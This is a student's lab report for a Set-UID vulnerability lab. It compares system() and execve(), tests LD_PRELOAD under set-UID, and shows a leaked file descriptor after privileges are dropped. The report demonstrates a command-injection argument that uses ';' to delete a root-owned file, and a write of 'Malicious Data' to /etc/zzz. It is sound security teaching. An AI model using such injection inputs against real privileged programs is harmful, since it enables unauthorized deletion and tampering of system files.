NAME : *LAKSHITHA RAJ VASANADU*
ID : *00001115006*

COEN-225
LAB ASSIGNMENT 2
Set-UID Program Vulnerability Lab

5) system( ) versus execve( )

a) Using system( )

- **Steps Performed:**
  - Create the given program with **q=0** and call it as **pgm1.c**. Lets its executable be **pgm1**, which is a set-UID program.
  - Create another test file called **helloTest** in the root-owned **/bin** directory so that normal users can't read/write to it.
  - The permissions for the files are shown as:

```
bob@seed-desktop:~$ ls -l pgm1 /bin/helloTest
-rw-r----- 1 root root   29 2015-01-28 16:43 /bin/helloTest
-rwsr-xr-x 1 root root 9422 2015-01-28 16:37 pgm1
```

  - Bob, being a normal user tries to read/ delete the **helloTest** file but he is unable to do so:

```
bob@seed-desktop:~$ whoami
bob
bob@seed-desktop:~$ cat /bin/helloTest
cat: /bin/helloTest: Permission denied
bob@seed-desktop:~$
bob@seed-desktop:~$ rm /bin/helloTest
rm: remove write-protected regular file `/bin/helloTest'? y
rm: cannot remove `/bin/helloTest': Permission denied
```

  - Bob now runs the set-UID program to display the **helloTest** file:

```
bob@seed-desktop:~$ ./pgm1 "/bin/helloTest"
Hi Bob!! This is root's file
Running as: Real User id = 1002, Effective user id = 0
```

  - Bob is able to do so as he gains the root access while running the program. Bob tries to exploit this as follows:

```
bob@seed-desktop:~$ ./pgm1 "/bin/helloTest;rm /bin/helloTest"
Hi Bob!! This is root's file
Running as: Real User id = 1002, Effective user id = 0bob@seed-desktop:~$
bob@seed-desktop:~$
bob@seed-desktop:~$ ls -l /bin/helloTest
ls: cannot access /bin/helloTest: No such file or directory
```

  - Bob **succeeded to delete** the file even though he does not have write permissions. Bob uses **";"** character which is the command separator character in shell to exploit. This is called as **command line injection**.

- **Observation:**
  - **system()** by default uses **/bin/sh** to execute the commands passed as arguments to it. Since **";"** is a delimiter for commands on shell, the string

before ";" is used as an argument to /bin/cat and the latter is executed as a separate command. Since, it's a set-UID program these commands have root privilege. Malicious activities such as deleting root-owned files can happen.

b) Using execve( )

- **Steps Performed:**
  - Create the given program with **q=1** and call it as **pgm2.c**. Lets its executable be **pgm2**, which is a set-UID program.
  - Create another test file called **helloTest** in the root-owned **/bin** directory so that normal users can't read/write to it.
  - The permissions for the files are shown as:

```
bob@seed-desktop:~$ ls -l pgm2 /bin/helloTest
-rw-r----- 1 root root   29 2015-01-28 16:43 /bin/helloTest
-rwsr-xr-x 1 root root 9422 2015-01-28 16:48 pgm2
```

  - Bob, being a normal user tries to read/ delete the **helloTest** file but he is unable to do so:

```
bob@seed-desktop:~$ whoami
bob
bob@seed-desktop:~$ cat /bin/helloTest
cat: /bin/helloTest: Permission denied
bob@seed-desktop:~$
bob@seed-desktop:~$ rm /bin/helloTest
rm: remove write-protected regular file `/bin/helloTest'? y
rm: cannot remove `/bin/helloTest': Permission denied
```

  - Bob now runs the set-UID program to display the **helloTest** file:

```
bob@seed-desktop:~$ whoami
bob
bob@seed-desktop:~$ ./pgm2 "/bin/helloTest"
Running as: Real User Id=1002, Effective user id =0
Hi Bob!! This is root's file
```

  - Bob is able to do so as he gains the root access while running the program. Bob tries to exploit this as follows:

```
bob@seed-desktop:~$ ./pgm2 "/bin/helloTest;rm /bin/helloTest"
Running as: Real User Id=1002, Effective user id =0
/bin/cat: /bin/helloTest;rm /bin/helloTest: No such file or directory
bob@seed-desktop:~$
bob@seed-desktop:~$ ls -l /bin/helloTest
-rw-r----- 1 root root 29 2015-01-28 16:43 /bin/helloTest
```

  - Bob is still unable to delete the **helloTest** file even though he has root access and he repeats the same attack as in that of (a).

- **Observation:**
  - **execv( )** uses **/bin/cat** as the path to the file to be executed. The second parameter is used as an argument to the first file. Here, it is an argument to the /bin/cat command. It does **not** recognize **";"** as delimiter for the commands. As a result, it throws ***no such file error*** and hence could not be exploited in this scenario.

Although system() and execv() are kind of similar in functionality, the way they achieve it differs. In the given context system() could be exploited but not execv().

6) The LD_PRELOAD environment variable

The following are the observations for the scenarios after performing the specified steps:

- **Scenario 1**: Make **myprog** a regular program, and run it as a normal user
  -

```
seed@seed-desktop:~$ vim mylib.c
seed@seed-desktop:~$ gcc -fPIC -g -c mylib.c
seed@seed-desktop:~$ gcc -shared -W1,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc
seed@seed-desktop:~$ vim myprog.c
seed@seed-desktop:~$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ gcc -o myprog myprog.c
seed@seed-desktop:~$ ls -l myprog
-rwxr-xr-x 1 seed seed 9226 2015-01-30 21:10 myprog
seed@seed-desktop:~$ id
uid=1000(seed) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(se
ed)
seed@seed-desktop:~$ ./myprog
Running As : Real User Id = 1000, Effective User Id = 1000, Saved User Id = 1000
Running Mylib : Real User Id = 1000, Effective User Id = 1000, Saved User Id = 1000
I am not sleeping!
seed@seed-desktop:~$
```

  - This scenario demonstrates the normal usage of LD_PRELOAD. It ensures that the user-defined shared library object is loaded by glibc before other system libraries are loaded. Hence, the user-defined sleep() gets executed. Also, the effective user id is same as that of the real user id (seed) while running this program.

- **Scenario 2**: Make **myprog** a Set-UID root program, and run it as a normal user.

```
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ id
uid=1000(seed) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(se
ed)
seed@seed-desktop:~$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-desktop:~$ ls -l myprog
-rwsr-xr-x 1 root root 9226 2015-01-30 21:11 myprog
seed@seed-desktop:~$ ./myprog
Running As : Real User Id = 1000, Effective User Id = 0, Saved User Id = 0
seed@seed-desktop:~$
```

  -
  - SetUID programs ignore LD_PRELOAD variable for the purpose of safety. This scenario demonstrates this feature. Hence, the program executes the system's sleep() function. Also, we notice that the real user id is not equal to effective user id.

- **Scenario 3:** Make **myprog** a Set-UID root program, and run it in the root account.

```
root@seed-desktop:/home/seed# id
uid=0(root) gid=0(root) groups=0(root)
root@seed-desktop:/home/seed# ls -l myprog
-rwsr-xr-x 1 root root 9226 2015-01-30 21:11 myprog
root@seed-desktop:/home/seed# ./myprog
Running As : Real User Id = 0, Effective User Id = 0, Saved User Id = 0
```

  - **It displays "I am not sleeping!! ".**
  - In this case, the user-defined sleep() is executed. This is because the root runs its own SetUID program. We can observe that the real and effective user ids are same.

Scenario 4: Make **myprog** a Set-UID user1 program (i.e., the owner is user1, which is another user ac- count), and run it as a different user (not-root user)

```
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$  export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-desktop:~$ ls -l /home/bob/bobprog
-rwsr-xr-x 1 bob bob 9227 2015-01-30 21:20 /home/bob/bobprog
seed@seed-desktop:~$ /home/bob/bobprog
Running As : Real User Id = 1000, Effective User Id = 1002, Saved User Id = 1002
```

- In this scenario, system sleep() is executed. Seed gains effective user id as bob's. We notice that LD_PRELOAD is ignored here, as real user id is not equal to effective user id.

Observation : From the above we find that setUID programs ignore the LD_PRELOAD if effective uid/gid is not equal to the real uid/gid.

7) Relinquishing privileges and cleanup

The steps performed are as follows:

- Create the given program as **prog.c** and make it a set-UID root**.** Compile to get **prog** and also create a root-owned file as **/etc/zzz.** Execute the program. We observe the following:

```
seed@seed-desktop:~$ ls -l prog /etc/zzz
-rw-r--r-- 1 root root    0 2015-01-30 13:31 /etc/zzz
-rwsr-xr-x 1 root root 9518 2015-01-30 13:30 prog
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ ./prog
Starting !! Running with : Real User Id = 1000, Effective User Id = 0, Saved User Id = 0
Opening file!!
Dropping the privileges permanently
Running with : Real User Id = 1000, Effective User Id = 1000, Saved User Id = 1000
Forking!!
Child !! Running with : Real User Id = 1000, Effective User Id = 1000, Saved User Id = 1000
Trying to write to file
Parent!! Running with : Real User Id = 1000, Effective User Id = 1000, Saved User Id = 1000
Closed file!!
seed@seed-desktop:~$ ls -l /etc/zzz
-rw-r--r-- 1 root root 14 2015-01-30 13:32 /etc/zzz
seed@seed-desktop:~$ cat /etc/zzz
Malicious Dataseed@seed-desktop:~$ 
```

- **Result :** It is found that the data "Malicious Data" is written to the root-owned file **"/etc/zzz".**
- **Observation:** Since the program is a set-UID root program, *seed* gains effective uid as root. Also the saved user Id = 0. The program opens the file in root mode. During file **open, permissions are checked**. Then, the set-UID call sets the userid to the real uid provided. Since the effective uid was 0, all the 3 user ids become equal to the real user id (1000= seed). As a result of this, privileges are permanently dropped. But it can be noticed that the file was not closed. Since forking ensures that **child** gets the same privilege as the parent and also **inherits the open file descriptors** from the parent, child can write

malicious data into the file. It is also important to note that **file permissions are not checked while writing data**. This is the reason for the vulnerability. This can be avoided if the file descriptor is closed before forking.